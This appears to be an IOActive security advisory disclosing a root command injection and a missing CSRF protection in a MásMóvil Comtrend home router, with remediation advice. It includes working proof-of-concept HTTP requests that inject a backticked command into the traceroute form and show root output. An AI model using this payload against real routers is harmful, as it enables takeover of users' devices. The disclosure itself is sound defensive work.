

## IOActive Security Advisory

Title	MásMóvil Comtrend Router – Multiple Vulnerabilities
Severity	High
Discovered by	Gabriel Gonzalez
Vendor Contact Date	2023-09-12
Advisory Date	2024-06-21
CVEs	CVE-2024-5785, CVE-2024-5786

### Affected Products

1. MásMóvil Comtrend Router – Version: ES\_WLD71-T1\_v2.0.201820
  - a. HW Version: GRG-4280us
  - b. FW Version: QR51S404
  - c. SW Version: MMV-C04\_R10

### Timeline

- 2023-08-24: IOActive discovers vulnerability
- 2023-09-12: IOActive begins vulnerability disclosure with affected parties
- 2024-06-10: The corresponding CNA released the CVEs to public domain.
- 2024-06-21: IOActive advisory published

## CVE-2024-5785: Post-Auth root Command Injection

**Severity: High**

### Impact

A malicious actor can send a specific payload to `/boaform/admin/formUserTracert` using the `traceroute` functionality to execute arbitrary commands as the privileged root user.

This is a post-auth vulnerability that could be used along with the “Lack of CSRF Protection” issue to trick an end-user into executing commands or to pull the firmware from the device and perform further investigation.

### Proof of Concept

Below are two example payloads and their corresponding outputs. The highlighted text is the actual injection.

Command sent to execute ``id``:

```
POST /boaform/admin/formUserTracert HTTP/1.1
Host: 192.168.1.1
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

proto=0&traceAddr=%60id%60&trys=3&timeout=5&datasize=56&dscp=0&maxhop=3
0&wanif=65535&go=+Go&submit-url=admin%2Ftracert.asp
```

Command sent to retrieve response (output from the above command is highlighted):

```
GET /admin/tracert_result.asp HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.1/admin/tracert_result.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
```

```
Connection: close
```

### Output:

```
HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Date: Sun, 20 Aug 2023 12:35:57 GMT
Server: Boa/0.93.15
Connection: close
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="arial">
<meta http-equiv = 'refresh' content = '2;url=tracert_result.asp' >
<link rel="stylesheet" href="/admin/reset.css">
<link rel="stylesheet" href="/admin/base.css">
<link rel="stylesheet" href="/admin/style.css">
<script type="text/javascript" src="share.js"></script>
<title>Tracert Diagnostics</title>
</head>
<body>
<div class="intro_main ">
  <p class="intro_title">Traceroute </p>
</div>
<br>
<div align="left">
  <table border=0 id="traceInfo" width="600" cellpadding=4
  cellspacing=0>
    <tr><td class="intro_content">traceroute: bad address 'uid=0 (Root) '
</td></tr>
  </table>
  <br>
  <table>
    <tr><td>
      <input class="link_bg" type="button" value="back" name="back"
      onclick="window.location.replace('/admin/tracert.asp') " />
    </td></tr>
  </table>
</div>
<br><br>
</body>
</html>
```

### Remediation

1. Sanitize user input.
2. Force arguments as parameters. Avoid concatenating strings prior to execution.

## CVE-2024-5786: Lack of CSRF Protection

**Severity: High**

### Impact

IOActive saw a general lack of protection against cross-site request forgery (CSRF) attacks. A CSRF attack works by including a link or script in a page or email that accesses a vulnerable site that has unexpired authentication. During a CSRF attack, unauthorized commands are transmitted from a user that the web application trusts in a manner that is difficult or impossible for the web application to differentiate from normal actions from the targeted user. As a result, attackers may trick application users into performing critical application actions that include, but are not limited to, adding and updating accounts.

### Proof of Concept

The following captured request does not include any type of anti-CSRF token or header:

```
POST /boaform/admin/formUserTracert HTTP/1.1
Host: 192.168.1.1
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

proto=0&traceAddr=%60id%60&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Go&submit-url=admin%2Ftracert.asp
```

### Remediation

1. Include a token in the response from the device that can be sent from the browser with each request. The token should be unique per user and session, non-predictable, and secret.